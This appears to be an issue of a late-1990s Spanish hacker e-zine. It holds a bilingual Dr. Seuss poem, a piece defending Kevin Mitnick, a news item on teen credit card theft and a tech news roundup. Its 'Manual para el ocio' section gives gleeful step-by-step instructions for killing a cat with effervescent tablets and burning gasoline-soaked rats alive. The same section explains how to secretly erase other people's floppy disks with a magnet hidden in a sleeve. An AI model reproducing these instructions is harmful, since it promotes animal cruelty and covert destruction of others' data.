ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%
The Big Brag
-=El presumido=-
By Dr. Seuss
Si se leen las lineas en ingles notaras que riman...
The rabbit felt mighty important that day
{ El conejo se sentia importante ese dia }
On top of the hill in the sun where he lay.
{ En la cima de la monta¤a donde se acostaba en el sol }
He felt SO important up there on that hill
{ Se sentia TAN importante arriba en esa monta¤a }
That he started in braging, as animals will
{ Que empezo a presumir como los animales lo hacen }
And he boasted out loud, as he threw out his chest,
{ Y grito fuerte con todo su pecho, }
"Of all the beasts in the world, I'm the best!
{ De todas las bestias del mundo, Yo soy el mejor! }
On land, and on sea...even up in the sky
{ En tierra, agua y aire }
No animal lives who is better than I!"
{ Ningun animal vive que sea mejor que yo! }
"Whats that?" growled a voice that was terribly gruff.
{ ¨Que es eso? gru¤io una voz }
"Now why do you say such ridiculous stuff?"
{ ¨Por que dices algo tan ridiculo? }
The rabbit looked down and he saw a big bear.
{ El conejo bajo la mirada y encontro un oso. }
"I'm best of the beasts," said the bear. "And so there!"
{ "Soy la mejor de las bestias en el mundo", dijo el oso. "Y mas alla!" }
"You're not!" snapped the rabbit. "I'm better than you!"
{ "Tu no lo eres!" dijo el conejo. "Soy mejor que tu!" }
But how can you prove it? Just what can you DO?"
{ ¨Como lo pruebas? ¨Que es lo que sabes HACER?" }
"Hmmmm..." thought the rabbit,
{ "Hmmmm..." penso el conejo, }
"Now what CAN I do...?"
{ ¨Que es lo que PUEDO hacer...? }
He thought and he thought. Then finally said,
{ El penso y finalmente dijo, }
"Mr. Bear, do you see these two ears on my head?
{ Se¤or OSO, ve estas dos orejas en mi cabeza? }
My ears are so keen and so sharp and so fine
{ Mis orejas son tan exactas y precisas }
No ears in the world can hear further than mine!"
{ Que ninguna otra oreja en el mundo puede escuchar mas! }
"But how do I know just how far they can hear?"
{ ¨Como sabre que tan lejos puedes escuchar? }
"I'll prove," said the rabbit, "my ears are the best.
{ "Lo probare," dijo el conejo, "mis orejas son las mejores. }
You sit there and watch me. I'll prove it by test."
{ Tu sientate y observa. Lo demostrare en un test. }
Then he stiffened his ears till they both stood up high
{ Entonces afino sus orejas y las mantuvo altas }
And pointed straight up at the blue of the sky.
{ Y apunto hacia arriba justo al azul del cielo. }
He stretched his ears open as wide as he could.
{ Estiro sus orejas lo mas que pudo. }
"Shhh! I am listening!" he said as he stood.
{ "Shhh! Estoy escuchando!" el dijo. }
And he said to the bear, "Do you know what I heard?
{ Y le dijo al oso, "¨Sabes lo que he escuchado? }
Do you see that far mountain...? It's ninety miles off.
{ ¨Alcanzas a ver esa monta¤a lejana...? esta a noventa millas. }
There's a fly on that mountain. I just heard him cough!
{ Hay una mosca en esa monta¤a. La acabo de escuchar toser! }
Now the cough of a fly, sir, is quite hard to hear
{ El sonido de la tos en una mosca es dificil de escuchar }
When he's ninety miles off. But I heard it quite clear.
{ Cuando se encuentra a noventa millas. Pero la escuche claro. }
So you see," bragged the rabbit, "it's perfectly true
{ Ya vez," presumio el conejo, " Es verdad }
That my ears are the best, so I'm better than you!"
{ Que mis orejas son mejores, asi que soy mejor que tu!" }
The bear, for a moment, just sulked as he sat
{ El oso por el momento permanecio callado }
For he knew that his ears couldn't hear things like that.
{ Pues el sabia que sus orejas no podrian escuchar esas cosas. }
"This rabbit," he thought, "made a fool out of me.
{ "Este conejo," el penso, "ha hecho un tonto de mi. }
Now I've got to prove that I'm better than he."
{ Ahora tengo que probar que soy mejor que el." }
So he said to the rabbit, "You hear pretty well.
{ Asi que dijo al conejo, "Escuchas bastante bien. }
You can hear ninety miles. But how far can you smell?
{ Puedes escuchar noventa millas. ¨Pero que tan lejos olfateas? }
I'm the greatest of smellers," he bragged. "See my nose?
{ Soy el mejor olfateador," el presumio. "Vez mi nariz? }
This nose on my face is the finest that grows.
{ Esta nariz es la mas fina que nace. }
My nose can smell anything, both far and near.
{ Mi nariz puede olfatear todo, de cerca y lejos. }
With my nose I can smell twice as far as you hear!"
{ Con mi nariz puedo olfatear lo doble de lo que escuchas!" }
"You can't!" snapped the rabbit
{ "No puedes!" dijo el conejo }
"I can!" growled the bear
{ Yo puedo! gru¤io el oso }
And he stuck his big nose 'way up high in the air.
{ Y mantuvo su nariz muy alto en el aire. }
Then he said to the rabbit, "I've smelled far enough."
{ Luego dijo al conejo, "He olfateado lo suficiente." }
"All right," said the rabbit. "Come on now and tell
{ Muy bien," dijo el conejo. "Ven aca y platica }
Exactly how far is the smell that you smell?"
{ Exactamente que tan lejos es el olor que olfateas?" }
"Oh, I'm smelling a very far smell," said the bear.
{ "Oh, Estoy olfateando un olor lejano," dijo el oso. }
"Away past that fly on the mountain out there.
{ "Lejos de la mosca en la monta¤a. }
Is a very small farm. On the farm is a tree.
{ Hay una peque¤a granja. En la granja un arbol. }
On the tree is a branch. On the branch is a nest,
{ En el arbol una rama. En la rama un nido, }
A very small nest where two tiny eggs rest.
{ Un muy peque¤o nido donde dos huevos descansan. }
Two eggs! Only half an inch long!
{ Dos huevos! De tan solo una pulgada! }
that is a thing that no rabbit can do.
{ esto es una cosa que ningun conejo puede hacer. }
So you see," the bear boasted, "I'm better than you!
{ Asi que tu vez," el oso dijo, "Yo soy mejor que tu! }
My smeller's so keen that it just can't be beat..."
{ Mi olfato es tan preciso que nada puede vencerlo..." }
"What's that?" called a voice.
{ ¨Que es eso? dijo una voz. }
From 'way down by his feet
{ Muy abajo de sus pies }
The bear and the rabbit looked down at the sound,
{ El oso y el conejo miraron hacia el sonido, }
And they saw and old worm crawling out of the ground.
{ Y observaron un viejo gusano arrastrandose fuera de la tierra. }
"Now, boys," said the worm, "you've been bragging a lot.
{ "Ahora, muchachos," dijo el gusano, "han estado presumiendo mucho. }
You both think you're great. butI think you are not.
{ Ustedes dos piensan que son geniales. Pero YO demostrare que no lo son. }
You're not half as good as a fellow like me.
{ No son ni la mitad de lo bueno que somos las personas como yo. }
You hear and you smell. But how far can you SEE?
{ Ustedes escuchan y olfatean. ¨Pero que tan lejos pueden VER? }
Now, I'm here to prove to you big boasting guys
{ Ahora, Estoy aqui para demostrarles lo presumidos que son }
That your nose and your ears aren't as good as my eyes!"
{ Su nariz y orejas no son tan buenos como mis ojos!" }
And the little old worm cocked his head to one side
{ Y el peque¤o gusano giro su cabeza a un lado }
And he opened his eyes and he opened them wide.
{ Y abrio sus ojos. }
And they looked far away with strange sort of stare.
{ Y vieron muy lejos como hipnotizados. }
As if they were burning two holes in the air.
{ Como si fueran dos agujeros quemandose en el aire. }
The eyes of that worm almost popped from his head.
{ Los ojos del gusano casi salen de su cabeza. }
He stared half an hour till his eyelids got red.
{ Estuvo media hora y sus ojos enrojecieron. }
"That's enough!" growled the bear.
{"Suficiente!" gru¤io el oso. }
"Tell the rabbit and me
{ "Explica al conejo y a mi }
How far did you look and just what did you see?"
{ ¨Que tan lejos y que viste?" }
"Well, boys," the worm answered, "that look that I took
{ Bueno chicos," el gusano contesto, "esa mirada que hice }
Was a look that looked further than you'll ever look!
{ Fue una que ninguno de ustedes podra alcanzar! }
I looked 'cross the ocean, 'way out to Japan.
{ Pase por el oceano, mas alla de Japon. }
For I can see further that anyone can.
{ Yo pude ver mas lejos que todos. }
There's no one on earth who has eyesight that's finer.
{ Nadie en la tierra tiene una vista mas fina. }
I looked past Japan. Then I looked across China.
{ Pase por Japon. Despues a traves de China. }
I looked across Egypt; then took a quick glance
{ Me fije por Egipto; despues eche un vistazo }
Across the two countries of Holland and France.
{ Por en medio de los dos paises entre Holanda y Francia. }
Then I looked across England and, also, Brazil.
{ Despues pase por Inglaterra y tambien Brazil. }
But I didn't stop there. I looked much farther still.
{ Pero no me detuve ahi. Mire mucho mas lejos. }
"And I kept right on looking and looking until
{ Y segui viendo y viendo hasta que }
I'd looked 'round the world and right back to this hill!
{ Vi alrededor del mundo y de nuevo a esta monta¤a! }
And I saw on this hill, since my eyesight's so keen,
{ Y vi en esta monta¤a, debido a mi precisa vista, }
The two biggest fools that have ever been seen!
{ Los dos estupidos mas grandes que he visto! }
And the fools that I saw were none other than you,
{ Y los tontos que vi no eran otros que ustedes, }
Who seem to have nothing else better to do
{ Que al parecer no tienen otra cosa que hacer }
Than sit here and argue who's better than who!"
{ Que sentarse ahi a discutir quien es mejor que quien!" }
Then the little old worm gave his head a small jerk
{ Entonces el peque¤o gusano le dio un golpe a su cabeza }
And he dived in his hole and went back to his work.
{ Y se metio de nuevo a su agujero y siguio trabajando. }
Mr.X
ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%
Kevin Mitnick: Recluso numero 89950-012
"Las carceles se arrastran por la humedad del mundo,
van por la tenebrosa sendera de los juzgados;
buscan a un hombre, buscan a un pueblo, lo persiguen,
lo absorben, se lo tragan.
(...)
Ser libre es una cosa que solo un hombre sabe:
Solo el hombre que advierto dentro de esa mazmorra
como si yo estuviera.
Cierra las puertas, echa la aldaba, carcelero.
Ata duro a ese hombre: no le ataras el alma.
Son muchas llaves, muchos cerrojos, injusticias:
no le ataras el alma.
Cadenas, si: cadenas de sangre necesita.
Hierros venosos, calidos, sanguineos eslabones
que no rechacen a los nudos siguientes
humanamente atados."
Las Carceles Miguel Hernandez
(Orihuela 1910 - Reformatorio de Adultos, Alicante 1942)
Hace algunas semanas vi, en una revista electronica brasile¤a una nota de una
tal Fernanda Serpa, activista de los derechos humanos en Amnistia
Internacional.
Co¤o! Ya me parecia que no podia ser yo el unico en considerar excesivas
las condiciones de encarcelamiento de Kevin Mitnick. Por lo visto, Fernanda
con algunos compa¤eros de A.I. estan montando una campa¤a a nivel mundial para
exigir a las autoridades norteamericanas que se cumpla la ley en el caso de
Mitnick.
Quien es Kevin Mitnick, y que porras hace en la carcel?
-------------------------------------------------------
Kevin David Mitnick, nacido en Van nuys, California el
06/08/63. Arrestado el 15 de febrero de 1994 por la
supuesta violacion de los terminos de su libertad
condicional y acceso no autorizado a sistemas de
comunicacion entre otras acusaciones. Hoy se halla
detenido en el Metropolitan Detention Center de Los
Angeles, California (sin haber sido juzgado).
Quiza algunos se acuerden de su detencion, fue muy sonada y salio en todos
los periodicos y en la television. La policia, y la prensa en general, lo
describia como el "mayor delincuente informatico de la historia" y una
amenaza que debia ser atajada a cualquier precio. La realidad es un poco
distinta...
Es un hecho indiscutible el que Kevin accedio de forma ilegal a
informacion en formato electronico. Es decir, hizo lo mismo que hacen a
diario millones de webmasters (el que no me crea, que mire aqui), lo que
hace cierta empresa de informatica muy conocida con el registro "on line"
de su ultimo producto estrella, lo que se hace a diario con los cookies
del Netscape y un largo y lamentable etcetera.
Como digo, es indiscutible el que Kevin cometio un delito; no obstante no
es menos indiscutible el hecho de que su detencion fue realizada de forma
ilegal, contrariando la Declaracion Universal de los Derechos Humanos (en
especial los articulos V, VI, VII, VIII, X, XI-1 y 2) asi como la
Constitucin Norteamericana. La gran "caceria electronica" llevada a cabo
contra Kevin dejo muy clara la tenue linea que separa los derechos
constitucionales de privacidad del cumplimiento de la ley, que al parecer
fue sistematicamente violada en nombre de la captura del "super criminal"
Kevin.
Malos Tratos
-----------------------
Nadie debe ser privado de vida, libertad o propiedad sin un juicio justo.
Constitucion de los EEUU
Kevin ya vio sus derechos violados en su anterior detencion (tambien por
delitos electronicos) en diciembre de 1988. Le fue negada la fianza a
pesar de que la ley federal afirma que ello solo se podra hacer con
aquellos delincuentes considerados peligrosos para la sociedad: "acusados
de crimenes violentos, crimen capital, o crimen relacionado con drogas que
incluya una sentencia de mas de diez a¤os."
O sea, asesinos y traficantes son considerados menos peligrosos para la
sociedad que Kevin. Claro esta que Kevin es un pringado (y encima judio) y
no un O. J. Simpson...
Kevin cuenta en el libro El juego del fugitivo - En linea directa con
Kevin Mitnick:
"Cumpli ocho meses en la solitaria del MDC (sic!). La
solitaria era un infierno. Decian que yo era demasiado
peligroso hasta para acercarme a un telefono. Solo me
dejaban salir durante una hora al dia y me esposaban para
ir al servicio, es igual que en las peliculas. Te tratan
como a un animal. Joden a la gente..."
Como esta Kevin ahora? No se sabe..., pero dado el trato indignante y
desproporcionado que ha recibido antes, se puede uno temer lo peor.
Un hacker de la vieja guardia
---------------------------
Durante la gran caceria iniciada en noviembre de 1992 y que culmino con su
detencion el 15 de febrero de 1994, Kevin siguio buscando empleo y
haciendo chapuzas para sobrevivir. La motivacion de Kevin por la "pirateria
electronica compulsiva" jamas ha sido el dinero. Nunca uso de forma criminal
sus conocimientos. Kevin jamas incito o cometio actos de violencia. Kevin es
un hacker. Segun la definicion de su biografo Jonathan Littman: "un hacker de
la vieja guardia. Alguien que, con creatividad, persigue el conocimiento y la
informacion."
Es decir, se trata de uno de esos locos de la informatica (al igual que
Brian Kernigham, Linus Torvahlds, Richard Stallman, Steve Jobs o Bill
Gates) que han hecho posible la revolucion informatica que hoy estamos
viviendo. Sin gente como ellos, hoy no existiria internet, no habria
ordenadores personales y no existiria el tratamiento informatizado de la
informacion que ha cambiado nuestras vidas. Unos han tenido suerte, otros
se han jodido...
Que puedes hacer?
----------------------------------
Limpiad el salivazo que lleva en la mejilla
y desencadenar el corazon del mundo,
y detened las fauces de las voraces carceles
donde el sol retrocede.
Las Carceles Miguel Hernandez
(Orihuela 1910 - Reformatorio de Adultos, Alicante 1942)
Si crees que hasta para tomar a alguien como cabeza de turco existen
limites, si crees que el trato dado por el estado a Kevin es desproporcionado
e indignante, puedes ayudarle.
Puedes escribir a la Secretaria de Justicia (equivalente a Ministerio de
Justicia) de los Estados Unidos exigiendo un juicio justo y unas condiciones
carcelarias dignas para Kevin. Su direccion es:
MS. JANET RENO
United States Secretary of Justice
Department of Justice
10th E. Constitution Ave, N.W., Room 4400
Washington, D.C. 20530
Tambien puedes escribirle a Kevin para darle animos (que falta le hace).
Su direccin actual es:
Kevin Mitnick 89950-012
PO BOX 1500
UNIT A
South Los Angeles, CA 90053-1500
Si lo prefieres, puedes enviarle un email a Kevin. Los de la revista 2600
Magazine se encargaran de hacerselo llegar.
Para mas informacion sobre el caso de Kevin, asi como otros similares,
podeis mirar el web de la revista 2600 Magazine.
ADELANTE, HACK THE WORLD
RAREGAZZ, LA MEJOR RAZON PARA APRENDER A LEER...
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%
*** MANUAL PARA EL OCIO. ***
POR 7.Sh1m4
Version 1 . 0
28/junio/97
Como hacer explotar a un gato desde sus entra¤as.
-------------------------------------------------
Dificultad: * - - - -
Te has sentido mas de alguna vez asediado por esos
bichos de tu vecino, el cual les llama cari¤osamente "GATITOS"?,
Has sentido los deseos de darles a esos bichos del demonio una
muerte cruel y dolorosa ?, Pues a continuacion encontraras la
mejor forma de realizar esos torcidos pero divertidos deseos.
Materiales:
- Un gato
- 2 Alka-Setzer(se recomienda molidas u cualquier efervecente
en polvo)
- Un vaso a la mitad de agua
- Un embudo.
Preparacion:
Mientras alguien sujeta al gato (procurando que el mismo
tenga el hocico abierto), En el vaso con agua se echan los Alka-
Setzer y rapidamente se vierte la mezcla en la garganta del
felino con la ayuda del embudo. El resultado es espectacular, el
felino se "infla" desde su interior, en algunos casos hasta
llegan a "explotar", asi que ten cuidado si no quieres resultar
manchado !!.
Explicacion:
El felino comun o domestico tiene los intestinos muy
delgados, por esa razon no soporta la presion que ejerce el
efervecente en los intestinos, lo cual provoca que reviente en
el interior.
Luciernagas Ratoniles.
----------------------
Dificultad: * * * - -
Eres amante de esos bichitos de campo que brillan
alegremente esos noches de verano?, odias a muerte a esas
asquerosas y mugrientas ratas que acompa¤an esos hermosos
dias ?, pues a continuacion podras conjugar el "brillo" de
las luciernagas y a esas asquerosas ratas en mismo un
resultado !!!!!
Materiales:
- Una jaula de rejillas
- Una trampa para ratas
- Un buen cebo para ratas
- Un galon de Gasolina
- Unos fosforos
Preparacion:
Para empezar necesitamos recolectar algunas ratas por
medio de la trampa, yo recomiendo para cebo, un buen trozo de
pan humedecido en algun caldo de carne. Rata que vaya siendo
capturada, va ser trasladada a la jaula de rejillas (las
cantidad de ratas que deseas "metamorfear" sera tu eleccion),
una vez recolectadas las ratas, se procede a darles un buen
ba¤o con el galon de gasolina. una vez ba¤adas, tienes que
hacer lo siguiente, Rapida y Coordinadamente!!, mientras dejas
salir a cada rata, les lanzas un cerillo encendido!. El efecto
es hermoso, ratas en llamas bricando tan vividademente que
llegan a parecer e esas teirnes e indefensas Luciernagas !!
Precaucion!!!: Ten cuidado que no estes impregnado tu tambien
en gasolina, de preferencia, ejecuta los pasos en una
zona desalojada o sin riesgos a incendiar, es preferible
soltar de rata en rata, yo se bien que seria divertido
soltarlas todas de una vez encendidas, pero podrias
correr el riesgo que las ratas tomen su venganza
avalanzandose sobre ti !!!!.
Borrado de disquetes magneticos ajenos de forma discreta.
---------------------------------------------------------
Dificultad: * - - - -
Te sientes ofendido, decepcionado, con algun amigo o
persona al no querer prestarte esos disquetes cuyo contenido
(sean juegos, imagenes o datos) te interesaba ?, Si realmente
quieres vengarte aunque pierdas el contenido de esos disquetes,
sigue leyendo!!,... si no quieres perder esos contenidos, pues
ve a "ARRASTRATE" ante el, a ver si te lo
presta....
Materiales:
- Un iman iman flexible (de preferecia rectangular)
- Una camisa de manga larga (que no te duela hacerle un poquitin
de da¤o)
- Aguja e hilo del nismo color de la camisa
- Un pu¤ado de clips, o clavos.
Procedimiento:
El iman lo puedes consiguir muy facilmente, ya sea en
algun cereal, en alguna agenda, etc... generalmente este tipo
de imanes son muy usados en esas "Chucherias" que pegan a la
puerta de refrigerador. Una vez obtenido el iman, se procede
a verificar que lado es mas potente (solo en caso de que no este
ya determinado, lo cual lo sabes por que un cara esta pintada
siendo esta la cara debil), para eso, se deposita el iman sobre
el pu¤ado de clips o clavos, el lado que atraiga mas cantidad de
clips o clavos, esa es la cara mas potente. Una vez determinada
la cara, se procede con la ayuda de la aguja y el hilo a coser
el iman a la manga de la camisa por dentro, teniendo en cuenta
que el iman tiene que estar debajo de la mu¤eca y el lado
dominante hacia afuera, ten en cuenta que no debe NOTARSE.
Una vez preparada la camisa, A matar Disquetes !,
solamente tienes que acercar el mayor tiempo posible tu iman
oculto en la manga y LISTO! el disquete Murio !.
Explicacion:
Hay que recordar que la informacion grabada en los
disquete de lleva a cabo por medio de pulsos electromagneticos
en binario, la superficie del disquete solo sirve para
mantener esas cargas almacenadas para posteriores lecturas.
Asi que al acercar un disquete a una fuente magnetica o
electromagnetica, la informacion en el disquete se Vuelve "loca"
y se pierde irremediablemente !!!
ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%
EL NUEVO ROBO
~~~~~~~~~~~~~
Jovenes `genios' acusados de robo en-linea en los U.S.
09:05 p.m Nov 10, 1997 Eastern
SAN FRANCISCO, Nov 10 - Cuatro jovenes hackearon su acceso a una compa¤ia de
ventas en linea, robaron numeros de tarjetas de credito y salieron de compras
gastando $20,000 dolares en equipo para computadoras, dijo la policia el
lunes.
"Obviamente robar gorras no era suficiente para estos ni¤os.." dijo James
Cost, del departamente de policia en San Carlos, aproximadamente 20 millas
(32 km) al sur de San Francisco.
Los cuatro jovenes, todos de entre 14 y 16, fueron arrestados el viernes
sospechosos de organizar el robo y fueron puestos a disposicion de sus
padres, Cost dijo. No han sido formalmente acusados por su edad.
La policia dijo que el fraude fue sofisticado, involvia hackear en un
proveedor de servicio internet y despues hacia un negocio en internet de
donde pudieron copiar los numeros de las tarjetas de credito.
Usando estos numeros, salieron de compras prefiriendo equipo HIGH-TECH para
computadoras, evitando la deteccion de la policia usando casas vacias para
obtener sus compras.
Solo hasta que un chico pidio algo a la puerta de su casa [estupido no?] la
policia pudo capturarlos, pero ellos ya habian comprado equipo con valor de
$5,000.
Cost dijo que los jovenes eran extremadamente sofisticados, y pueden ser la
nueva generacion de ladrones de este `crimen blanco' ya que cada vez mas
y mas jovenes ponen sus ojos en internet para experimentar ganancias.
"Esta es una nueva ola que estamos enfrentando," el dijo.
ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%
.oOo. .oOo.
Noti-LOONS
.oOo. .oOo.
¯¯ Groovy ®®
^~^~^~
" Otros pueden tener noticias...nosotros lo tenemos TODO "
.oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.
El nuevo episodio final de Beavis & Butthead saldra al aire el 28 de
noviembre en MTV
.oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.
Phillips se prepara para sacar al mercado su nuevo drive de $600 dolares
que permite grabar y borrar en un CD como si fuera un diskette. Los CD's
deben ser especiales pero pueden ser leidos por cualquier unidad CD-ROM
excepto lectores de CD para musica.
.oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.
Finlandia, el hogar de Nokia y due¤o del 40% de los celulares, esta equipando
maquinas de Coke y cajas de musica para aceptar instrucciones por el telefono
para cargar los gastos al due¤o de la cuenta celular.
{ Distintas oportunidades de fraude abiertas para los hackers... }
.oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.
CBS volvera a sacar al aire el episodio donde Murphy Brown fuma marijuana
el 24 de noviembre.
.oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.
Apple anuncio que comenzara a vender PC hechas para el usuario desde internet
como ya lo hace Dell en http://www.dell.com/store/index.htm
.oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.
Microsoft esta empezando a amenazar cualquier cosa con `NT' en sus nombres,
incluyendo el sitio `NTsecurity.com' y `ScanNT' . . . . Microsoft no tiene
los derechos legales de `NT' solo, unicamente de `Windows NT'. Por eso los
abogados podrian perder si se van a corte.
.oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.
Neoptx comenzo a vender los nuevos lentes `despega y pega'. Los plasticos
adhesivos pueden convertir cualquier tipo de lentes en lentes de lectura.
Existen 10 niveles, cada uno cuesta $25 dolares y se pueden ordenar por
internet en: http://www.neoptx.com/noframes/optx.html Tambien existen modelos
disponibles para buzos y lentes de seguridad (goggles). El sitio tambien
contiene el primer test para la vista en linea.
http://www.neoptx.com/noframes/eyetest/eyetest.html
.oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.
Los cuerpos de los 3 doctores que operaron al `Rey de los Cielos' el
narcotraficante Amado Carrillo Fuentes y que despues lo mataron
accidentalmente al inyectarle despues de la operacion, han sido encontrados.
Estaban extremadamente torturados, quemados y metidos dentro de 3 barriles
llenos de concreto y fueron dejados a un lado de una carretera mexicana.
{ hablemos de *nuevos* metodos de tortura }
.oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.
Esta navidad, Macy's de New York City elimino su tradicional aldea de
madera y la reemplazo por una version high-tech llamada `La aventura de
Santa Claus'. Ahi habra suelo con movimiento, arboles animados, maquinas
de dulce interactivas y un robot que habla.
Santa seguira estando. { por ahora }
.oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.
Sheraton anuncio que pondran internet en las televisiones de sus hoteles.
.oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.
En una exhibicion de sus pinturas, Yoko Ono puso un anuncio diciendo: `Nadie
puede decirte que no toques el arte.' Asi que un tipo de Seattle de 22 a¤os
hizo lo que el llamo `arte participe' y se puso a rayar con un plumon rojo
por todos los cuadros con valores estimados de $10,000 dolares. Le han sido
cobrados.
.oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.
La fabrica de modems Diamond acaba de lanzar su nuevo modem de 112kbps que
usa dos lineas telefonicas. Esta nueva clase de modems se espera que sean un
exito cuando 3Com y Hayes saquen sus versiones.
.oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.
http://pathfinder.mail.com/member/login.page
Otra compa¤ia mas ofrece correo electronico gratuito basado en web. Este
servicio te permite escoger de entre 4 terminaciones para tu email. Por $15
dolares puedes conseguirte una terminacion mejor.
.oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.
Dos nuevas lunas en Urano han sido descubiertas. Ahora tiene 17.
.oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.
http://www.well.com/user/cynsa/newbutt.html
No son noticias, pero el sitio web `Rectal Foreign Bodies' tiene documentados
todos los casos en los que a cadaveres se les han encontrado objetos extra¤os
en el recto. { >;-> }
.oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.
Oh! Querian GENTE en los aviones??
El aeropuerto de Denver, el unico en el mundo que puede hacer aterrizar a 3
aviones con cero visibilidad y que decia que podria ofrecer servicio en las
peores condiciones atmosfericas fue cerrado en la pasada tormento debido a
que unicamente cuenta con una carretera de acceso a los vehiculos que fue
cerrada por la nieve.
.oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.
Mattel continua atacando legalmente a TODOS los sitios que ofrezcan
informacion sobre las mu¤ecas Barbie.
.oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.
Sony introdujo su nueva camara 10X zoom digital que resuelve el problema
de la compatibilidad con las PC's. Esta nueva camara usa un floppy de 3.5"
como rollo de pelicula.
http://www.sel.sony.com/SEL/consumer/mavica/
Esta nueva camara almacena en el floppy hasta 40 imagenes en calidad standard
de color 24 bit (640x480) en formato JPEG. La camara es compatible con
todas las computadoras que usen esos diskettes incluyendo Mac, PC, OS2,e tc.
Ademas incluye el software ArcSoft PhotoStudio que permite la manipulacion
de imagenes.
.oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.
Una organizacion de Seattle llamada Afterlife se ofrece, por un costo,
a mantener tu sitio web despues de tu muerte.
http://www.afterlife.org
.oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.
Los hackers en Manhattan se apoderaron por un dia de los mensajes parpadeantes
en las estaciones del metro promoviendo el magazine The Hacker Quarterly.
http://www.2600.com/index.html
.oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.
En Espa¤a, jueces en la mas reciente competencia por la copa de la Marijuana
en Madrid tuvieron que fumar 10 muestras cada uno, pero despues tuvieron 24
horas para recuperarse antes de votar por algun ganador. . . . .
La policia arresto a Javier Mestre, fundador del evento. Una corte espa¤ola
dictamino que era correcto sembrar marijuana para el consumo privado.
.oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.
575,000 directorios telefonicos en el sur de Arizona fueron enviados al
pueblo listando una linea de sexo de $1.99 el minuto que resulto ser el
numero del Ministerio de Turismo de Mexico! El numero tuvo que ser cambiado
por el ministerio dias despues.
.oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.
Los tipos de Hotmail empezaron a ofrecer un servicio de tarjetas electronicas
por 50 centavos cada uno ... existen cientos de lugares que ofrecen lo
mismo gratis :-) http://www.wp.com/annag/ecards.htm
.oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.
